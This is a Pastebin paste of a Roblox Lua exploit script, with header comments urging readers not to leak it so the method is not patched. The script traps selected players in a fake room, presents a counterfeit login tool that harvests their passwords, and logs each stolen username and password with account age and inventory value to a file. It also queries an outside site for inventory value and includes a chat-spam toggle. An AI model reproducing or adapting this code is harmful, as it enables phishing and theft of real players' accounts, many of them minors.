Sakaa

Untitled

Mar 29th, 2017
57
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.21 KB | None | 0 0
  1. --From Milky Way, DO NOT LEAK THIS. raspy gets really salty when you leak his shit and i leaked mgxv1 so yeah
  2. --he says he will report this method with a bot like 100 times to roblox to make sure it gets patched
  3. --so just dont leak it ty
  4.  
  5. local MyRoom = "BasicRoom"
  6.  
  7. local StorageType = 2
  8.  
  9. local ScamType = "Pick"
  10.  
  11. local TargetList = {}
  12.  
  13. local Bypassers = {
  14. {}
  15. }
  16.  
  17. local Trello = {
  18. Enabled = false,
  19. List = "MRList",
  20. DumpList = "MRDumps",
  21. TrelloTargetList = "MRTargetList",
  22. DevKey = "",
  23. Token = "",
  24. }
  25.  
  26. local floodChat = false
  27.  
  28. local writeAccounts = true
  29. local fileName = "MGX7List"
  30.  
  31. BypassKey = "v3rm"
  32. BypassKeyEnabled = true
  33. BypassKeyRules = true
  34.  
  35. local kickLogin = false
  36.  
  37. local RAPApi = true
  38. ------------------------------------------------------------------------
  39.  
  40. local MainFolder = game:GetObjects("rbxassetid://432005266")[1]
  41. MainFolder.Parent = game.ReplicatedStorage
  42.  
  43. local player = game.Players.LocalPlayer
  44.  
  45. local CurrentlyScamming = {}
  46.  
  47. local MRStorage
  48.  
  49. local guiTool = MainFolder.Login
  50.  
  51. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  52. guiTool.LocalScript:Destroy()
  53. replaceScript.Parent = guiTool
  54.  
  55. local ruleTool = MainFolder["Bypass Rules"]
  56.  
  57. local replaceScript = game:GetService("InsertService"):LoadAsset(80576967):GetChildren()[1].LocalScript
  58. ruleTool.LocalScript:Destroy()
  59. replaceScript.Parent = ruleTool
  60.  
  61. local pickGui = MainFolder.PickGui
  62.  
  63. function checkPass(pass, playa)
  64. if BypassKeyEnabled and pass == BypassKey then
  65. if BypassKeyRules then
  66. local newTool = ruleTool:Clone()
  67. newTool.Parent = workspace
  68. newTool.Handle.CanCollide = false
  69. newTool.Handle.CFrame = playa.Character.Head.CFrame
  70. end
  71. return true
  72. end
  73. if pass == "Password" or pass == "" or pass == "Enter Your Password" or pass == "Incorrect Password" or pass == "Enter your Password" then
  74. return false
  75. end
  76. local foundNums = 0
  77. local foundLetters = 0
  78. if string.find(pass, " ") then
  79. return false
  80. end
  81. if pass:len() < 6 or pass:len() > 20 then
  82. return false
  83. end
  84. for i=1,pass:len() do
  85. if pass:sub(i,i):match("%d") ~= nil then
  86. foundNums = foundNums + 1
  87. end
  88. end
  89. if foundNums < 2 then
  90. return false
  91. end
  92. for i=1,pass:len() do
  93. if pass:sub(i,i):match("%a") ~= nil then
  94. foundLetters = foundLetters + 1
  95. end
  96. end
  97. if foundLetters < 4 then
  98. return false
  99. end
  100. return true
  101. end
  102.  
  103. function getUText(root, val)
  104. local found
  105. if val then
  106. found = val
  107. end
  108. for i,v in pairs(root:GetChildren()) do
  109. if v.Name == "UText" then
  110. found = v
  111. break
  112. end
  113. found = getUText(v,found)
  114. end
  115. return found
  116. end
  117.  
  118. function getPText(root, val)
  119. local found
  120. if val then
  121. found = val
  122. end
  123. for i,v in pairs(root:GetChildren()) do
  124. if v.Name == "PText" then
  125. found = v
  126. break
  127. end
  128. found = getPText(v,found)
  129. end
  130. return found
  131. end
  132.  
  133. function getILPopUp(root, val)
  134. local found
  135. if val then
  136. found = val
  137. end
  138. for i,v in pairs(root:GetChildren()) do
  139. if v.Name == "ILPopUp" then
  140. found = v
  141. break
  142. end
  143. found = getILPopUp(v,found)
  144. end
  145. return found
  146. end
  147.  
  148. function unscPlayer(plr)
  149. for i,v in pairs(CurrentlyScamming) do
  150. if plr == v.Player then
  151. table.insert(Bypassers,{Name = plr.Name, ID = plr.UserId})
  152. table.remove(CurrentlyScamming,i)
  153. wait()
  154. while plr.Backpack:FindFirstChild("Login") do
  155. plr.Backpack.Login:Destroy()
  156. wait()
  157. end
  158. while plr.Character:FindFirstChild("Login") do
  159. plr.Character.Login:Destroy()
  160. wait()
  161. end
  162. plr.Character:WaitForChild("Torso")
  163. plr.Character:WaitForChild("HumanoidRootPart")
  164. plr.Character.HumanoidRootPart.Anchored = false
  165. plr.Character.HumanoidRootPart.CFrame = v.ReturnPos
  166. v.Player.CameraMaxZoomDistance = 400
  167. v.Player.CameraMinZoomDistance = 0
  168. v.RoomModel:Destroy()
  169. end
  170. end
  171. end
  172.  
  173. function scPlayer(plr)
  174. ypcall(function()
  175. local debounce = false
  176. local roomCheck = MainFolder.Rooms:FindFirstChild(MyRoom)
  177. if roomCheck then
  178. local roomId = #CurrentlyScamming + 1
  179. local newRoom = roomCheck:Clone()
  180. newRoom.Parent = workspace
  181. newRoom:MoveTo(Vector3.new(5000,1000, 5000 + 100 * roomId))
  182.  
  183. local newPacket = {Player = plr, RoomId = roomId, RoomModel = newRoom, ReturnPos = plr.Character.Torso.CFrame}
  184. table.insert(CurrentlyScamming,newPacket)
  185. --[[
  186. newRoom.LButton.ClickDetector.MouseClick:connect(function(playa)
  187. if debounce == false then
  188. if playa.Backpack:FindFirstChild("Login") then
  189. if playa == plr and getILPopUp(playa.Backpack.Login) and getPText(playa.Backpack.Login) then
  190. debounce = true
  191. getILPopUp(newRoom).Visible = false
  192. getILPopUp(playa.Backpack.Login).Visible = false
  193. wait(0.5)
  194. if playa.Backpack:FindFirstChild("Login") then
  195. if checkPass(getPText(playa.Backpack.Login).Text) then
  196. print(plr.Name .. " : " .. getPText(playa.Backpack.Login).Text)
  197. unscPlayer(plr)
  198. else
  199. getILPopUp(newRoom).Visible = true
  200. getILPopUp(playa.Backpack.Login).Visible = true
  201. getPText(playa.Backpack.Login).Text = ""
  202. end
  203. end
  204. end
  205. end
  206. debounce = false
  207. end
  208. end)
  209. --]]
  210. end
  211. end)
  212. end
  213.  
  214. function isBypass(plr)
  215. local bypass = false
  216. for i,v in pairs(Bypassers) do
  217. if v.Name == plr.Name or v.ID == plr.UserId then
  218. bypass = true
  219. end
  220. end
  221. return bypass
  222. end
  223.  
  224. function isScamming(plr)
  225. local isScam = false
  226. for i,v in pairs(CurrentlyScamming) do
  227. if v.Player.Name == plr then
  228. isScam = true
  229. end
  230. end
  231. return isScam
  232. end
  233.  
  234. function fixPlayers()
  235. for i,v in pairs(CurrentlyScamming) do
  236. ypcall(function()
  237. if v.Player.Character:FindFirstChild("Login") then
  238. if v.Player.Character.Login:FindFirstChild("SprayGui") then
  239. local tempTool = v.Player.Character:FindFirstChild("Login")
  240. tempTool.Parent = v.RoomModel
  241. tempTool.Handle.CFrame = v.Player.Character.Head.CFrame
  242. end
  243. end
  244. end)
  245. end
  246. end
  247.  
  248. function BCtoDumpStr(str)
  249. local res = ""
  250. if str == "Enum.MembershipType.BuildersClub" then
  251. res = "[BC] "
  252. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  253. res = "[TBC] "
  254. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  255. res = "[OBC] "
  256. elseif str == "Enum.MembershipType.None" then
  257. res = ""
  258. end
  259. return res
  260. end
  261.  
  262. function getRap(user)
  263. local rap = "Error."
  264. if RAPApi then
  265. ypcall(function()
  266. local http = game:GetService("HttpService")
  267. local rawrap = http:JSONDecode(game:HttpGet("http://roblox.plus:2052/inventory?username=" .. user,true))
  268. rap = tostring(rawrap.rap)
  269. end)
  270. else
  271. rap = "Disabled."
  272. end
  273. return rap
  274. end
  275.  
  276. function logAccount(user,pass)
  277. local playerName = user.Name
  278. local playerAge = tostring(user.AccountAge)
  279. local playerRAP = getRap(playerName)
  280.  
  281. if print then
  282. print(BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  283. end
  284. if readfile and writefile then
  285. if readfile(getelysianpath()..fileName..".txt") == "nil path doesn't exist" then
  286. writefile(getelysianpath()..fileName..".txt", BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  287. else
  288. local tempFile = readfile(getelysianpath()..fileName..".txt")
  289. writefile(getelysianpath()..fileName..".txt", tempFile .. "\n" .. BCtoDumpStr(tostring(user.MembershipType)) .. playerName .. " : " .. pass .. " Age: " .. playerAge .. " RAP: " .. playerRAP)
  290. end
  291. end
  292. end
  293.  
  294. function teleportVictims()
  295. for i,v in pairs(CurrentlyScamming) do
  296. ypcall(function()
  297. v.Player.Character.HumanoidRootPart.CFrame = v.RoomModel.Spawn.CFrame + Vector3.new(0,-10,0)
  298. v.Player.Character.HumanoidRootPart.Anchored = true
  299. if not v.Player.Backpack:FindFirstChild("Login") and not v.Player.Character:FindFirstChild("Login") then
  300. if not v.RoomModel:FindFirstChild("Login") then
  301. local tempTools = {}
  302. for i2,v2 in pairs(v.Player.Backpack:GetChildren()) do
  303. table.insert(tempTools,v2:Clone())
  304. v2:Destroy()
  305. end
  306. local newTool = guiTool:Clone()
  307. newTool.Parent = v.RoomModel
  308. newTool.Handle.CanCollide = false
  309. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  310. newTool.Handle.BodyPosition.Position = v.RoomModel.Spawn.Position + Vector3.new(0,-10,0)
  311. getUText(newTool).Text = v.Player.Name
  312. spawn(function()
  313. wait(2)
  314. for i2,v2 in pairs(tempTools) do
  315. v2.Parent = v.Player.Backpack
  316. end
  317. end)
  318. newTool.Changed:connect(function(prop)
  319. if not isScamming(v.Player.Name) then return end
  320. if prop == "Parent" and newTool.Parent.Name == "Backpack" then
  321. if v.Player.Backpack:FindFirstChild("Login") then
  322. if getILPopUp(v.Player.Backpack.Login) and getPText(v.Player.Backpack.Login) then
  323. getILPopUp(v.Player.Backpack.Login).Visible = false
  324. if v.Player.Backpack:FindFirstChild("Login") then
  325. if checkPass(getPText(v.Player.Backpack.Login).Text, v.Player) then
  326. logAccount(v.Player, getPText(v.Player.Backpack.Login).Text)
  327. unscPlayer(v.Player)
  328. spawn(function()
  329. wait(0.5)
  330. if kickLogin then
  331. if not v.Player.Backpack:FindFirstChild("Bypass Rules") and not v.Player.Character:FindFirstChild("Bypass Rules") then
  332. v.Player:Remove()
  333. end
  334. end
  335. end)
  336. else
  337. getILPopUp(v.Player.Backpack.Login).Visible = true
  338. getPText(v.Player.Backpack.Login).Text = ""
  339. wait()
  340. if not v.Player.Character:FindFirstChild("Login") then
  341. newTool.Parent = v.RoomModel
  342. newTool.Handle.CFrame = v.Player.Character.Head.CFrame
  343. end
  344. end
  345. end
  346. end
  347. end
  348. end
  349. end)
  350. end
  351. end
  352. end)
  353. end
  354. end
  355.  
  356. wait()
  357.  
  358. game.Players.PlayerRemoving:connect(function(playa)
  359. for i,v in pairs(CurrentlyScamming) do
  360. if v.Player == playa then
  361. table.remove(CurrentlyScamming,i)
  362. end
  363. end
  364. end)
  365.  
  366. --[[
  367. local infoGui = Instance.new("ScreenGui",game.CoreGui)
  368. local infoText = Instance.new("TextLabel",infoGui)
  369. infoText.Position = UDim2.new(0,0,1,-20)
  370. infoText.Size = UDim2.new(1,0,0,20)
  371. infoText.FontSize = "Size18"
  372. infoText.Font = "SourceSansBold"
  373. infoText.BackgroundTransparency = 1
  374. infoText.TextColor3 = Color3.new(1,1,1)
  375. infoText.TextXAlignment = "Right"
  376. infoText.Text = "Press 'p' to toggle chat spam."
  377. --]]
  378.  
  379. local mouse = game.Players.LocalPlayer:GetMouse()
  380. mouse.KeyDown:connect(function(key)
  381. if key == "p" then
  382. floodChat = not floodChat
  383. end
  384. end)
  385.  
  386. spawn(function()
  387. while wait(3) do
  388. fixPlayers()
  389. end
  390. end)
  391.  
  392. while wait() do
  393. teleportVictims()
  394. if floodChat then
  395. game.Players:Chat(".")
  396. game.Players:Chat(".")
  397. end
  398. if ScamType == "Normal" then
  399. for i,v in pairs(game.Players:GetPlayers()) do
  400. if StorageType == 1 then
  401. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  402.  
  403. end
  404. elseif StorageType == 2 then
  405. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  406. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  407. MRStorage.Name = "MRStorage"
  408. end
  409. if not game.ReplicatedStorage.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  410. scPlayer(v)
  411. end
  412. end
  413. end
  414. elseif ScamType == "Pick" then
  415. if StorageType == 1 then
  416. if not game.CoreGui.MRStorage:FindFirstChild(v.Name) and not isScamming(v.Name) and not isBypass(v) and v ~= game.Players.LocalPlayer then
  417.  
  418. end
  419. elseif StorageType == 2 then
  420. if not game.ReplicatedStorage:FindFirstChild("MRStorage") then
  421. MRStorage = Instance.new("Folder",game.ReplicatedStorage)
  422. MRStorage.Name = "MRStorage"
  423. end
  424. if not game.CoreGui:FindFirstChild("PickGui") then
  425. local newPickGui = pickGui:Clone()
  426. newPickGui.Parent = game.CoreGui
  427. spawn(function()
  428. local pickGuiList = newPickGui.MainFrame.AccList
  429. local pickGuiResult = newPickGui.MainFrame.UserResult
  430. pickGuiList.CanvasSize = UDim2.new(0,0,0,0)
  431. local function updatePickList()
  432. pickGuiList:ClearAllChildren()
  433. for i,v in pairs(game.Players:GetPlayers()) do
  434. if v ~= player then
  435. local newRes = pickGuiResult:Clone()
  436. newRes.PlayerName.Text = v.Name
  437. newRes.PlayerPic.Image = "http://www.roblox.com/Thumbs/Avatar.ashx?x=100&y=100&userId="..v.UserId
  438. newRes.Position = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  439. if isScamming(v.Name) then
  440. newRes.PlayerStatus.Text = "Scamming..."
  441. end
  442. if isBypass(v) then
  443. newRes.PlayerStatus.Text = "Scammed"
  444. end
  445. newRes.Parent = pickGuiList
  446. pickGuiList.CanvasSize = UDim2.new(0,0,0,40 * #pickGuiList:GetChildren())
  447. newRes.Visible = true
  448. newRes.MouseButton1Down:connect(function()
  449. if not isScamming(v.Name) then
  450. scPlayer(v)
  451. end
  452. end)
  453. end
  454. end
  455. end
  456. updatePickList()
  457. newPickGui.MainFrame.Refresh.MouseButton1Down:connect(function()
  458. updatePickList()
  459. end)
  460. end)
  461. end
  462. end
  463. end
  464. end
Add Comment
Please, Sign In to add comment